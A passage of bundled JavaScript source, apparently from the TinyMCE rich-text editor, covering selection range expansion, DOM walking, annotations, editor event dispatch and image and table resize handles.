        if (!isInlineFormat(format) || (!isText$a(startContainer) || startOffset === 0)) {
          startContainer = findParentContainer(dom, formatList, startContainer, startOffset, true);
        }
        if (!isInlineFormat(format) || (!isText$a(endContainer) || endOffset === endContainer.data.length)) {
          endContainer = findParentContainer(dom, formatList, endContainer, endOffset, false);
        }
      }
      if (shouldExpandToSelector(format)) {
        startContainer = findSelectorEndPoint(dom, formatList, rng, startContainer, 'previousSibling');
        endContainer = findSelectorEndPoint(dom, formatList, rng, endContainer, 'nextSibling');
      }
      if (isBlockFormat(format) || isSelectorFormat(format)) {
        startContainer = findBlockEndPoint(dom, formatList, startContainer, 'previousSibling');
        endContainer = findBlockEndPoint(dom, formatList, endContainer, 'nextSibling');
        if (isBlockFormat(format)) {
          if (!dom.isBlock(startContainer)) {
            startContainer = findParentContainer(dom, formatList, startContainer, startOffset, true);
          }
          if (!dom.isBlock(endContainer)) {
            endContainer = findParentContainer(dom, formatList, endContainer, endOffset, false);
          }
        }
      }
      if (isElement$6(startContainer) && startContainer.parentNode) {
        startOffset = dom.nodeIndex(startContainer);
        startContainer = startContainer.parentNode;
      }
      if (isElement$6(endContainer) && endContainer.parentNode) {
        endOffset = dom.nodeIndex(endContainer) + 1;
        endContainer = endContainer.parentNode;
      }
      return {
        startContainer,
        startOffset,
        endContainer,
        endOffset
      };
    };

    const walk$3 = (dom, rng, callback) => {
      var _a;
      const startOffset = rng.startOffset;
      const startContainer = getNode$1(rng.startContainer, startOffset);
      const endOffset = rng.endOffset;
      const endContainer = getNode$1(rng.endContainer, endOffset - 1);
      const exclude = nodes => {
        const firstNode = nodes[0];
        if (isText$a(firstNode) && firstNode === startContainer && startOffset >= firstNode.data.length) {
          nodes.splice(0, 1);
        }
        const lastNode = nodes[nodes.length - 1];
        if (endOffset === 0 && nodes.length > 0 && lastNode === endContainer && isText$a(lastNode)) {
          nodes.splice(nodes.length - 1, 1);
        }
        return nodes;
      };
      const collectSiblings = (node, name, endNode) => {
        const siblings = [];
        for (; node && node !== endNode; node = node[name]) {
          siblings.push(node);
        }
        return siblings;
      };
      const findEndPoint = (node, root) => dom.getParent(node, node => node.parentNode === root, root);
      const walkBoundary = (startNode, endNode, next) => {
        const siblingName = next ? 'nextSibling' : 'previousSibling';
        for (let node = startNode, parent = node.parentNode; node && node !== endNode; node = parent) {
          parent = node.parentNode;
          const siblings = collectSiblings(node === startNode ? node : node[siblingName], siblingName);
          if (siblings.length) {
            if (!next) {
              siblings.reverse();
            }
            callback(exclude(siblings));
          }
        }
      };
      if (startContainer === endContainer) {
        return callback(exclude([startContainer]));
      }
      const ancestor = (_a = dom.findCommonAncestor(startContainer, endContainer)) !== null && _a !== void 0 ? _a : dom.getRoot();
      if (dom.isChildOf(startContainer, endContainer)) {
        return walkBoundary(startContainer, ancestor, true);
      }
      if (dom.isChildOf(endContainer, startContainer)) {
        return walkBoundary(endContainer, ancestor);
      }
      const startPoint = findEndPoint(startContainer, ancestor) || startContainer;
      const endPoint = findEndPoint(endContainer, ancestor) || endContainer;
      walkBoundary(startContainer, startPoint, true);
      const siblings = collectSiblings(startPoint === startContainer ? startPoint : startPoint.nextSibling, 'nextSibling', endPoint === endContainer ? endPoint.nextSibling : endPoint);
      if (siblings.length) {
        callback(exclude(siblings));
      }
      walkBoundary(endContainer, endPoint);
    };

    const validBlocks = [
      'pre[class*=language-][contenteditable="false"]',
      'figure.image',
      'div[data-ephox-embed-iri]',
      'div.tiny-pageembed',
      'div.mce-toc',
      'div[data-mce-toc]'
    ];
    const isZeroWidth = elem => isText$b(elem) && get$3(elem) === ZWSP$1;
    const context = (editor, elem, wrapName, nodeName) => parent(elem).fold(() => 'skipping', parent => {
      if (nodeName === 'br' || isZeroWidth(elem)) {
        return 'valid';
      } else if (isAnnotation(elem)) {
        return 'existing';
      } else if (isCaretNode(elem.dom)) {
        return 'caret';
      } else if (exists(validBlocks, selector => is$1(elem, selector))) {
        return 'valid-block';
      } else if (!isValid(editor, wrapName, nodeName) || !isValid(editor, name(parent), wrapName)) {
        return 'invalid-child';
      } else {
        return 'valid';
      }
    });

    const applyWordGrab = (editor, rng) => {
      const r = expandRng(editor.dom, rng, [{ inline: 'span' }]);
      rng.setStart(r.startContainer, r.startOffset);
      rng.setEnd(r.endContainer, r.endOffset);
      editor.selection.setRng(rng);
    };
    const applyAnnotation = (elem, masterUId, data, annotationName, decorate, directAnnotation) => {
      const {uid = masterUId, ...otherData} = data;
      add$2(elem, annotation());
      set$2(elem, `${ dataAnnotationId() }`, uid);
      set$2(elem, `${ dataAnnotation() }`, annotationName);
      const {attributes = {}, classes = []} = decorate(uid, otherData);
      setAll$1(elem, attributes);
      add(elem, classes);
      if (directAnnotation) {
        if (classes.length > 0) {
          set$2(elem, `${ dataAnnotationClasses() }`, classes.join(','));
        }
        const attributeNames = keys(attributes);
        if (attributeNames.length > 0) {
          set$2(elem, `${ dataAnnotationAttributes() }`, attributeNames.join(','));
        }
      }
    };
    const removeDirectAnnotation = elem => {
      remove$8(elem, annotation());
      remove$b(elem, `${ dataAnnotationId() }`);
      remove$b(elem, `${ dataAnnotation() }`);
      remove$b(elem, `${ dataAnnotationActive() }`);
      const customAttrNames = getOpt(elem, `${ dataAnnotationAttributes() }`).map(names => names.split(',')).getOr([]);
      const customClasses = getOpt(elem, `${ dataAnnotationClasses() }`).map(names => names.split(',')).getOr([]);
      each$e(customAttrNames, name => remove$b(elem, name));
      remove$5(elem, customClasses);
      remove$b(elem, `${ dataAnnotationClasses() }`);
      remove$b(elem, `${ dataAnnotationAttributes() }`);
    };
    const makeAnnotation = (eDoc, uid, data, annotationName, decorate) => {
      const master = SugarElement.fromTag('span', eDoc);
      applyAnnotation(master, uid, data, annotationName, decorate, false);
      return master;
    };
    const annotate = (editor, rng, uid, annotationName, decorate, data) => {
      const newWrappers = [];
      const master = makeAnnotation(editor.getDoc(), uid, data, annotationName, decorate);
      const wrapper = value$2();
      const finishWrapper = () => {
        wrapper.clear();
      };
      const getOrOpenWrapper = () => wrapper.get().getOrThunk(() => {
        const nu = shallow$1(master);
        newWrappers.push(nu);
        wrapper.set(nu);
        return nu;
      });
      const processElements = elems => {
        each$e(elems, processElement);
      };
      const processElement = elem => {
        const ctx = context(editor, elem, 'span', name(elem));
        switch (ctx) {
        case 'invalid-child': {
            finishWrapper();
            const children = children$1(elem);
            processElements(children);
            finishWrapper();
            break;
          }
        case 'valid-block': {
            finishWrapper();
            applyAnnotation(elem, uid, data, annotationName, decorate, true);
            break;
          }
        case 'valid': {
            const w = getOrOpenWrapper();
            wrap$2(elem, w);
            break;
          }
        }
      };
      const processNodes = nodes => {
        const elems = map$3(nodes, SugarElement.fromDom);
        processElements(elems);
      };
      walk$3(editor.dom, rng, nodes => {
        finishWrapper();
        processNodes(nodes);
      });
      return newWrappers;
    };
    const annotateWithBookmark = (editor, name, settings, data) => {
      editor.undoManager.transact(() => {
        const selection = editor.selection;
        const initialRng = selection.getRng();
        const hasFakeSelection = getCellsFromEditor(editor).length > 0;
        const masterUid = generate$1('mce-annotation');
        if (initialRng.collapsed && !hasFakeSelection) {
          applyWordGrab(editor, initialRng);
        }
        if (selection.getRng().collapsed && !hasFakeSelection) {
          const wrapper = makeAnnotation(editor.getDoc(), masterUid, data, name, settings.decorate);
          set(wrapper, nbsp);
          selection.getRng().insertNode(wrapper.dom);
          selection.select(wrapper.dom);
        } else {
          preserve(selection, false, () => {
            runOnRanges(editor, selectionRng => {
              annotate(editor, selectionRng, masterUid, name, settings.decorate, data);
            });
          });
        }
      });
    };

    const Annotator = editor => {
      const registry = create$c();
      setup$w(editor, registry);
      const changes = setup$x(editor, registry);
      const isSpan = isTag('span');
      const removeAnnotations = elements => {
        each$e(elements, element => {
          if (isSpan(element)) {
            unwrap(element);
          } else {
            removeDirectAnnotation(element);
          }
        });
      };
      return {
        register: (name, settings) => {
          registry.register(name, settings);
        },
        annotate: (name, data) => {
          registry.lookup(name).each(settings => {
            annotateWithBookmark(editor, name, settings, data);
          });
        },
        annotationChanged: (name, callback) => {
          changes.addListener(name, callback);
        },
        remove: name => {
          const bookmark = editor.selection.getBookmark();
          identify(editor, Optional.some(name)).each(({elements}) => {
            removeAnnotations(elements);
          });
          editor.selection.moveToBookmark(bookmark);
        },
        removeAll: name => {
          const bookmark = editor.selection.getBookmark();
          each$d(findAll(editor, name), (elements, _) => {
            removeAnnotations(elements);
          });
          editor.selection.moveToBookmark(bookmark);
        },
        getAll: name => {
          const directory = findAll(editor, name);
          return map$2(directory, elems => map$3(elems, elem => elem.dom));
        }
      };
    };

    const BookmarkManager = selection => {
      return {
        getBookmark: curry(getBookmark$1, selection),
        moveToBookmark: curry(moveToBookmark, selection)
      };
    };
    BookmarkManager.isBookmarkNode = isBookmarkNode$1;

    const isXYWithinRange = (clientX, clientY, range) => {
      if (range.collapsed) {
        return false;
      } else {
        return exists(range.getClientRects(), rect => containsXY(rect, clientX, clientY));
      }
    };

    const firePreProcess = (editor, args) => editor.dispatch('PreProcess', args);
    const firePostProcess = (editor, args) => editor.dispatch('PostProcess', args);
    const fireRemove = editor => {
      editor.dispatch('remove');
    };
    const fireDetach = editor => {
      editor.dispatch('detach');
    };
    const fireSwitchMode = (editor, mode) => {
      editor.dispatch('SwitchMode', { mode });
    };
    const fireObjectResizeStart = (editor, target, width, height, origin) => {
      editor.dispatch('ObjectResizeStart', {
        target,
        width,
        height,
        origin
      });
    };
    const fireObjectResized = (editor, target, width, height, origin) => {
      editor.dispatch('ObjectResized', {
        target,
        width,
        height,
        origin
      });
    };
    const firePreInit = editor => {
      editor.dispatch('PreInit');
    };
    const firePostRender = editor => {
      editor.dispatch('PostRender');
    };
    const fireInit = editor => {
      editor.dispatch('Init');
    };
    const firePlaceholderToggle = (editor, state) => {
      editor.dispatch('PlaceholderToggle', { state });
    };
    const fireError = (editor, errorType, error) => {
      editor.dispatch(errorType, error);
    };
    const fireFormatApply = (editor, format, node, vars) => {
      editor.dispatch('FormatApply', {
        format,
        node,
        vars
      });
    };
    const fireFormatRemove = (editor, format, node, vars) => {
      editor.dispatch('FormatRemove', {
        format,
        node,
        vars
      });
    };
    const fireBeforeSetContent = (editor, args) => editor.dispatch('BeforeSetContent', args);
    const fireSetContent = (editor, args) => editor.dispatch('SetContent', args);
    const fireBeforeGetContent = (editor, args) => editor.dispatch('BeforeGetContent', args);
    const fireGetContent = (editor, args) => editor.dispatch('GetContent', args);
    const fireAutocompleterStart = (editor, args) => {
      editor.dispatch('AutocompleterStart', args);
    };
    const fireAutocompleterUpdate = (editor, args) => {
      editor.dispatch('AutocompleterUpdate', args);
    };
    const fireAutocompleterEnd = editor => {
      editor.dispatch('AutocompleterEnd');
    };
    const firePastePreProcess = (editor, html, internal) => editor.dispatch('PastePreProcess', {
      content: html,
      internal
    });
    const firePastePostProcess = (editor, node, internal) => editor.dispatch('PastePostProcess', {
      node,
      internal
    });
    const firePastePlainTextToggle = (editor, state) => editor.dispatch('PastePlainTextToggle', { state });

    const VK = {
      BACKSPACE: 8,
      DELETE: 46,
      DOWN: 40,
      ENTER: 13,
      ESC: 27,
      LEFT: 37,
      RIGHT: 39,
      SPACEBAR: 32,
      TAB: 9,
      UP: 38,
      PAGE_UP: 33,
      PAGE_DOWN: 34,
      END: 35,
      HOME: 36,
      modifierPressed: e => {
        return e.shiftKey || e.ctrlKey || e.altKey || VK.metaKeyPressed(e);
      },
      metaKeyPressed: e => {
        return Env.os.isMacOS() || Env.os.isiOS() ? e.metaKey : e.ctrlKey && !e.altKey;
      }
    };

    const elementSelectionAttr = 'data-mce-selected';
    const controlElmSelector = 'table,img,figure.image,hr,video,span.mce-preview-object';
    const abs = Math.abs;
    const round$1 = Math.round;
    const resizeHandles = {
      nw: [
        0,
        0,
        -1,
        -1
      ],
      ne: [
        1,
        0,
        1,
        -1
      ],
      se: [
        1,
        1,
        1,
        1
      ],
      sw: [
        0,
        1,
        -1,
        1
      ]
    };
    const isTouchEvent = evt => evt.type === 'longpress' || evt.type.indexOf('touch') === 0;
    const ControlSelection = (selection, editor) => {
      const dom = editor.dom;
      const editableDoc = editor.getDoc();
      const rootDocument = document;
      const rootElement = editor.getBody();
      let selectedElm, selectedElmGhost, resizeHelper, selectedHandle, resizeBackdrop;
      let startX, startY, selectedElmX, selectedElmY, startW, startH, ratio, resizeStarted;
      let width;
      let height;
      let startScrollWidth;
      let startScrollHeight;
      const isImage = elm => isNonNullable(elm) && (isImg(elm) || dom.is(elm, 'figure.image'));
      const isMedia = elm => isMedia$2(elm) || dom.hasClass(elm, 'mce-preview-object');
      const isEventOnImageOutsideRange = (evt, range) => {
        if (isTouchEvent(evt)) {
          const touch = evt.touches[0];
          return isImage(evt.target) && !isXYWithinRange(touch.clientX, touch.clientY, range);
        } else {
          return isImage(evt.target) && !isXYWithinRange(evt.clientX, evt.clientY, range);
        }
      };
      const contextMenuSelectImage = evt => {
        const target = evt.target;
        if (isEventOnImageOutsideRange(evt, editor.selection.getRng()) && !evt.isDefaultPrevented()) {
          editor.selection.select(target);
        }
      };
      const getResizeTargets = elm => {
        if (dom.hasClass(elm, 'mce-preview-object') && isNonNullable(elm.firstElementChild)) {
          return [
            elm,
            elm.firstElementChild
          ];
        } else if (dom.is(elm, 'figure.image')) {
          return [elm.querySelector('img')];
        } else {
          return [elm];
        }
      };
      const isResizable = elm => {
        const selector = getObjectResizing(editor);
        if (!selector) {
          return false;
        }
        if (elm.getAttribute('data-mce-resize') === 'false') {
          return false;
        }
        if (elm === editor.getBody()) {
          return false;
        }
        if (dom.hasClass(elm, 'mce-preview-object') && isNonNullable(elm.firstElementChild)) {
          return is$1(SugarElement.fromDom(elm.firstElementChild), selector);
        } else {
          return is$1(SugarElement.fromDom(elm), selector);
        }
      };
      const createGhostElement = elm => {
        if (isMedia(elm)) {
          return dom.create('img', { src: Env.transparentSrc });
        } else {
          return elm.cloneNode(true);
        }
      };
      const setSizeProp = (element, name, value) => {
        if (isNonNullable(value)) {
          const targets = getResizeTargets(element);
          each$e(targets, target => {
            if (target.style[name] || !editor.schema.isValid(target.nodeName.toLowerCase(), name)) {
              dom.setStyle(target, name, value);
            } else {
              dom.setAttrib(target, name, '' + value);
            }
          });
        }
      };
      const setGhostElmSize = (ghostElm, width, height) => {
        setSizeProp(ghostElm, 'width', width);
        setSizeProp(ghostElm, 'height', height);
      };
      const resizeGhostElement = e => {
        let deltaX, deltaY, proportional;
        let resizeHelperX, resizeHelperY;
        deltaX = e.screenX - startX;
        deltaY = e.screenY - startY;
        width = deltaX * selectedHandle[2] + startW;
        height = deltaY * selectedHandle[3] + startH;
        width = width < 5 ? 5 : width;
        height = height < 5 ? 5 : height;
        if ((isImage(selectedElm) || isMedia(selectedElm)) && getResizeImgProportional(editor) !== false) {
          proportional = !VK.modifierPressed(e);
        } else {
          proportional = VK.modifierPressed(e);
        }
        if (proportional) {
          if (abs(deltaX) > abs(deltaY)) {
            height = round$1(width * ratio);
            width = round$1(height / ratio);
          } else {
            width = round$1(height / ratio);
            height = round$1(width * ratio);
          }
        }
        setGhostElmSize(selectedElmGhost, width, height);
        resizeHelperX = selectedHandle.startPos.x + deltaX;
        resizeHelperY = selectedHandle.startPos.y + deltaY;
        resizeHelperX = resizeHelperX > 0 ? resizeHelperX : 0;
        resizeHelperY = resizeHelperY > 0 ? resizeHelperY : 0;
        dom.setStyles(resizeHelper, {
          left: resizeHelperX,
          top: resizeHelperY,
          display: 'block'
        });
        resizeHelper.innerHTML = width + ' &times; ' + height;
        if (selectedHandle[2] < 0 && selectedElmGhost.clientWidth <= width) {
          dom.setStyle(selectedElmGhost, 'left', selectedElmX + (startW - width));
        }
        if (selectedHandle[3] < 0 && selectedElmGhost.clientHeight <= height) {
          dom.setStyle(selectedElmGhost, 'top', selectedElmY + (startH - height));
        }
        deltaX = rootElement.scrollWidth - startScrollWidth;
        deltaY = rootElement.scrollHeight - startScrollHeight;
        if (deltaX + deltaY !== 0) {
          dom.setStyles(resizeHelper, {
            left: resizeHelperX - deltaX,
            top: resizeHelperY - deltaY
          });
        }
        if (!resizeStarted) {
          fireObjectResizeStart(editor, selectedElm, startW, startH, 'corner-' + selectedHandle.name);
          resizeStarted = true;
        }
      };
      const endGhostResize = () => {
        const wasResizeStarted = resizeStarted;
        resizeStarted = false;
        if (wasResizeStarted) {
          setSizeProp(selectedElm, 'width', width);
          setSizeProp(selectedElm, 'height', height);
        }
        dom.unbind(editableDoc, 'mousemove', resizeGhostElement);
        dom.unbind(editableDoc, 'mouseup', endGhostResize);
        if (rootDocument !== editableDoc) {
          dom.unbind(rootDocument, 'mousemove', resizeGhostElement);
          dom.unbind(rootDocument, 'mouseup', endGhostResize);
        }
        dom.remove(selectedElmGhost);
        dom.remove(resizeHelper);
        dom.remove(resizeBackdrop);
        showResizeRect(selectedElm);
        if (wasResizeStarted) {
          fireObjectResized(editor, selectedElm, width, height, 'corner-' + selectedHandle.name);
          dom.setAttrib(selectedElm, 'style', dom.getAttrib(selectedElm, 'style'));
        }
        editor.nodeChanged();
      };
      const showResizeRect = targetElm => {
        unbindResizeHandleEvents();
        const position = dom.getPos(targetElm, rootElement);
        const selectedElmX = position.x;
        const selectedElmY = position.y;
        const rect = targetElm.getBoundingClientRect();
        const targetWidth = rect.width || rect.right - rect.left;
        const targetHeight = rect.height || rect.bottom - rect.top;
        if (selectedElm !== targetElm) {
          hideResizeRect();
          selectedElm = targetElm;
          width = height = 0;
        }
        const e = editor.dispatch('ObjectSelected', { target: targetElm });
        if (isResizable(targetElm) && !e.isDefaultPrevented()) {
          each$d(resizeHandles, (handle, name) => {
            const startDrag = e => {
              const target = getResizeTargets(selectedElm)[0];
              startX = e.screenX;
              startY = e.screenY;
              startW = target.clientWidth;
              startH = target.clientHeight;
              ratio = startH / startW;
              selectedHandle = handle;
              selectedHandle.name = name;
              selectedHandle.startPos = {
                x: targetWidth * handle[0] + selectedElmX,
                y: targetHeight * handle[1] + selectedElmY
              };
              startScrollWidth = rootElement.scrollWidth;
              startScrollHeight = rootElement.scrollHeight;
              resizeBackdrop = dom.add(rootElement, 'div', {
                'class': 'mce-resize-backdrop',
                'data-mce-bogus': 'all'
              });
              dom.setStyles(resizeBackdrop, {
                position: 'fixed',
                left: '0',
                top: '0',
                width: '100%',
                height: '100%'
              });
              selectedElmGhost = createGhostElement(selectedElm);
              dom.addClass(selectedElmGhost, 'mce-clonedresizable');
              dom.setAttrib(selectedElmGhost, 'data-mce-bogus', 'all');
              selectedElmGhost.contentEditable = 'false';
              dom.setStyles(selectedElmGhost, {
                left: selectedElmX,
                top: selectedElmY,
                margin: 0
              });
              setGhostElmSize(selectedElmGhost, targetWidth, targetHeight);
              selectedElmGhost.removeAttribute(elementSelectionAttr);
              rootElement.appendChild(selectedElmGhost);
              dom.bind(editableDoc, 'mousemove', resizeGhostElement);
              dom.bind(editableDoc, 'mouseup', endGhostResize);
              if (rootDocument !== editableDoc) {
                dom.bind(rootDocument, 'mousemove', resizeGhostElement);
                dom.bind(rootDocument, 'mouseup', endGhostResize);
              }
              resizeHelper = dom.add(rootElement, 'div', {
                'class': 'mce-resize-helper',
                'data-mce-bogus': 'all'
              }, startW + ' &times; ' + startH);
            };
            let handleElm = dom.get('mceResizeHandle' + name);
            if (handleElm) {
              dom.remove(handleElm);
            }
            handleElm = dom.add(rootElement, 'div', {
              'id': 'mceResizeHandle' + name,
              'data-mce-bogus': 'all',
              'class': 'mce-resizehandle',
              'unselectable': true,
              'style': 'cursor:' + name + '-resize; margin:0; padding:0'
            });
            dom.bind(handleElm, 'mousedown', e => {
              e.stopImmediatePropagation();
              e.preventDefault();
              startDrag(e);
            });
            handle.elm = handleElm;
            dom.setStyles(handleElm, {
              left: targetWidth * handle[0] + selectedElmX - handleElm.offsetWidth / 2,
              top: targetHeight * handle[1] + selectedElmY - handleElm.offsetHeight / 2
            });
          });
        } else {
          hideResizeRect(false);
        }
      };
      const throttledShowResizeRect = first$1(showResizeRect, 0);
      const hideResizeRect = (removeSelected = true) => {
        throttledShowResizeRect.cancel();
        unbindResizeHandleEvents();
        if (selectedElm && removeSelected) {
          selectedElm.removeAttribute(elementSelectionAttr);
        }
        each$d(resizeHandles, (value, name) => {
          const handleElm = dom.get('mceResizeHandle' + name);
          if (handleElm) {
            dom.unbind(handleElm);
            dom.remove(handleElm);
          }
        });
      };
      const isChildOrEqual = (node, parent) => dom.isChildOf(node, parent);
      const updateResizeRect = e => {
        if (resizeStarted || editor.removed || editor.composing) {
          return;
        }
        const targetElm = e.type === 'mousedown' ? e.target : selection.getNode();
        const controlElm = closest$3(SugarElement.fromDom(targetElm), controlElmSelector).map(e => e.dom).getOrUndefined();
        const selectedValue = isNonNullable(controlElm) ? dom.getAttrib(controlElm, elementSelectionAttr, '1') : '1';
        each$e(dom.select(`img[${ elementSelectionAttr }],hr[${ elementSelectionAttr }]`), img => {
          img.removeAttribute(elementSelectionAttr);
        });
        if (isNonNullable(controlElm) && isChildOrEqual(controlElm, rootElement)) {
          disableGeckoResize();
          const startElm = selection.getStart(true);
          if (isChildOrEqual(startElm, controlElm) && isChildOrEqual(selection.getEnd(true), controlElm)) {
            dom.setAttrib(controlElm, elementSelectionAttr, selectedValue);
            throttledShowResizeRect.throttle(controlElm);
            return;
          }
        }
        hideResizeRect();
      };
      const unbindResizeHandleEvents = () => {
        each$d(resizeHandles, handle => {
          if (handle.elm) {
            dom.unbind(handle.elm);
            delete handle.elm;
          }
        });
      };
      const disableGeckoResize = () => {
        try {
          editor.getDoc().execCommand('enableObjectResizing', false, 'false');
        } catch (ex) {
        }
      };
      editor.on('init', () => {
        disableGeckoResize();
        editor.on('NodeChange ResizeEditor ResizeWindow ResizeContent drop', updateResizeRect);
        editor.on('keyup compositionend', e => {
          if (selectedElm && selectedElm.nodeName === 'TABLE') {
            updateResizeRect(e);
          }
        });
        editor.on('hide blur', hideResizeRect);
        editor.on('contextmenu longpress', contextMenuSelectImage, true);
      });
      editor.on('remove', unbindResizeHandleEvents);
      const destroy = () => {
        throttledShowResizeRect.cancel();
        selectedElm = selectedElmGhost = resizeBackdrop = null;
      };
      return {
        isResizable,
        showResizeRect,
        hideResizeRect,
        updateResizeRect,
        destroy
      };
    };

    const setStart = (rng, situ) => {
      situ.fold(e => {
        rng.setStartBefore(e.dom);
      }, (e, o) => {
        rng.setStart(e.dom, o);
      }, e => {
        rng.setStartAfter(e.dom);
      });
    };
    const setFinish = (rng, situ) => {
      situ.fold(e => {
        rng.setEndBefore(e.dom);
      }, (e, o) => {
        rng.setEnd(e.dom, o);
      }, e => {
        rng.setEndAfter(e.dom);
      });
    };
    const relativeToNative = (win, startSitu, finishSitu) => {
      const range = win.document.createRange();
      setStart(range, startSitu);
      setFinish(range, finishSitu);
      return range;
    };
    const exactToNative = (win, start, soffset, finish, foffset) => {
      const rng = win.document.createRange();
      rng.setStart(start.dom, soffset);
      rng.setEnd(finish.dom, foffset);
      return rng;
    };

    const adt$3 = Adt.generate([
      {
        ltr: [
          'start',
          'soffset',
          'finish',
          'foffset'
        ]
      },
      {
        rtl: [
          'start',
          'soffset',
          'finish',
          'foffset'
        ]
      }
    ]);
    const fromRange = (win, type, range) => type(SugarElement.fromDom(range.startContainer), range.startOffset, SugarElement.fromDom(range.endContainer), range.endOffset);
    const getRanges = (win, selection) => selection.match({
      domRange: rng => {
        return {
          ltr: constant(rng),
          rtl: Optional.none
        };
      },
      relative: (startSitu, finishSitu) => {
        return {
          ltr: cached(() => relativeToNative(win, startSitu, finishSitu)),
          rtl: cached(() => Optional.some(relativeToNative(win, finishSitu, startSitu)))
        };
      },
      exact: (start, soffset, finish, foffset) => {
        return {
          ltr: cached(() => exactToNative(win, start, soffset, finish, foffset)),
          rtl: cached(() => Optional.some(exactToNative(win, finish, foffset, start, soffset)))
        };
      }
    });
    const doDiagnose = (win, ranges) => {
      const rng = ranges.ltr();
      if (rng.collapsed) {
        const reversed = ranges.rtl().filter(rev => rev.collapsed === false);
        return reversed.map(rev => adt$3.rtl(SugarElement.fromDom(rev.endContainer), rev.endOffset, SugarElement.fromDom(rev.startContainer), rev.startOffset)).getOrThunk(() => fromRange(win, adt$3.ltr, rng));
      } else {
        return fromRange(win, adt$3.ltr, rng);
      }
    };
    const diagnose = (win, selection) => {
      const ranges = getRanges(win, selection);
      return doDiagnose(win, ranges);
    };
    adt$3.ltr;
    adt$3.rtl;

    const create$a = (start, soffset, finish, foffset) => ({
      start,
      soffset,
      finish,
      foffset
    });
    const SimRange = { create: create$a };

    const caretPositionFromPoint = (doc, x, y) => {
      var _a, _b;
      return Optional.from((_b = (_a = doc.dom).caretPositionFromPoint) === null || _b === void 0 ? void 0 : _b.call(_a, x, y)).bind(pos => {
        if (pos.offsetNode === null) {
          return Optional.none();
        }
        const r = doc.dom.createRange();
        r.setStart(pos.offsetNode, pos.offset);
        r.collapse();
        return Optional.some(r);
      });
    };
    const caretRangeFromPoint = (doc, x, y) => {
      var _a, _b;
      return Optional.from((_b = (_a = doc.dom).caretRangeFromPoint) === null || _b === void 0 ? void 0 : _b.call(_a, x, y));
    };
    const availableSearch = (() => {
      if (document.caretPositionFromPoint) {
        return caretPositionFromPoint;
      } else if (document.caretRangeFromPoint) {
        return caretRangeFromPoint;
      } else {
        return Optional.none;
      }
    })();
    const fromPoint$1 = (win, x, y) => {
      const doc = SugarElement.fromDom(win.document);
      return availableSearch(doc, x, y).map(rng => SimRange.create(SugarElement.fromDom(rng.startContainer), rng.startOffset, SugarElement.fromDom(rng.endContainer), rng.endOffset));
    };

    const adt$2 = Adt.generate([
      { before: ['element'] },
      {
        on: [
          'element',
          'offset'
        ]
      },
      { after: ['element'] }
    ]);
    const cata = (subject, onBefore, onOn, onAfter) => subject.fold(onBefore, onOn, onAfter);
    const getStart$2 = situ => situ.fold(identity, identity, identity);
    const before$1 = adt$2.before;
    const on = adt$2.on;
    const after$1 = adt$2.after;
    const Situ = {
      before: before$1,
      on,
      after: after$1,
      cata,
      getStart: getStart$2
    };

    const adt$1 = Adt.generate([
      { domRange: ['rng'] },
      {
        relative: [
          'startSitu',
          'finishSitu'
        ]
      },
      {
        exact: [
          'start',
          'soffset',
          'finish',
          'foffset'
        ]
      }
    ]);
    const exactFromRange = simRange => adt$1.exact(simRange.start, simRange.soffset, simRange.finish, simRange.foffset);
    const getStart$1 = selection => selection.match({
      domRange: rng => SugarElement.fromDom(rng.startContainer),
      relative: (startSitu, _finishSitu) => Situ.getStart(startSitu),
      exact: (start, _soffset, _finish, _foffset) => start
    });
    const domRange = adt$1.domRange;
    const relative = adt$1.relative;
    const exact = adt$1.exact;
    const getWin = selection => {
      const start = getStart$1(selection);
      return defaultView(start);
    };
    const range = SimRange.create;
    const SimSelection = {
      domRange,
      relative,
      exact,
      exactFromRange,
      getWin,
      range
    };

    const beforeSpecial = (element, offset) => {
      const name$1 = name(element);
      if ('input' === name$1) {
        return Situ.after(element);
      } else if (!contains$2([
          'br',
          'img'
        ], name$1)) {
        return Situ.on(element, offset);
      } else {
        return offset === 0 ? Situ.before(element) : Situ.after(element);
      }
    };
    const preprocessRelative = (startSitu, finishSitu) => {
      const start = startSitu.fold(Situ.before, beforeSpecial, Situ.after);
      const finish = finishSitu.fold(Situ.before, beforeSpecial, Situ.after);
      return SimSelection.relative(start, finish);
    };
    const preprocessExact = (start, soffset, finish, foffset) => {
      const startSitu = beforeSpecial(start, soffset);
      const finishSitu = beforeSpecial(finish, foffset);
      return SimSelection.relative(startSitu, finishSitu);
    };
    const preprocess = selection => selection.match({
      domRange: rng => {
        const start = SugarElement.fromDom(rng.startContainer);
        const finish = SugarElement.fromDom(rng.endContainer);
        return preprocessExact(start, rng.startOffset, finish, rng.endOffset);
      },
      relative: preprocessRelative,
      exact: preprocessExact
    });

    const fromElements = (elements, scope) => {
      const doc = scope || document;
      const fragment = doc.createDocumentFragment();
      each$e(elements, element => {
        fragment.appendChild(element.dom);
      });
      return SugarElement.fromDom(fragment);
    };

    const toNative = selection => {
      const win = SimSelection.getWin(selection).dom;
      const getDomRange = (start, soffset, finish, foffset) => exactToNative(win, start, soffset, finish, foffset);
      const filtered = preprocess(selection);
      return diagnose(win, filtered).match({
        ltr: getDomRange,
        rtl: getDomRange
      });
    };
    const getAtPoint = (win, x, y) => fromPoint$1(win, x, y);

    const fromPoint = (clientX, clientY, doc) => {
      const win = defaultView(SugarElement.fromDom(doc));
      return getAtPoint(win.dom, clientX, clientY).map(simRange => {
        const rng = doc.createRange();
        rng.setStart(simRange.start.dom, simRange.soffset);
        rng.setEnd(simRange.finish.dom, simRange.foffset);
        return rng;
      }).getOrUndefined();
    };

    const isEq$4 = (rng1, rng2) => {
      return isNonNullable(rng1) && isNonNullable(rng2) && (rng1.startContainer === rng2.startContainer && rng1.startOffset === rng2.startOffset) && (rng1.endContainer === rng2.endContainer && rng1.endOffset === rng2.endOffset);
    };

    const findParent = (node, rootNode, predicate) => {
      let currentNode = node;
      while (currentNode && currentNode !== rootNode) {
        if (predicate(currentNode)) {
          return currentNode;
        }
        currentNode = currentNode.parentNode;
      }
      return null;
    };
    const hasParent$1 = (node, rootNode, predicate) => findParent(node, rootNode, predicate) !== null;
    const hasParentWithName = (node, rootNode, name) => hasParent$1(node, rootNode, node => node.nodeName === name);
    const isCeFalseCaretContainer = (node, rootNode) => isCaretContainer$2(node) && !hasParent$1(node, rootNode, isCaretNode);
    const hasBrBeforeAfter = (dom, node, left) => {
      const parentNode = node.parentNode;
      if (parentNode) {
        const walker = new DomTreeWalker(node, dom.getParent(parentNode, dom.isBlock) || dom.getRoot());
        let currentNode;
        while (currentNode = walker[left ? 'prev' : 'next']()) {
          if (isBr$6(currentNode)) {
            return true;
          }
        }
      }
      return false;
    };
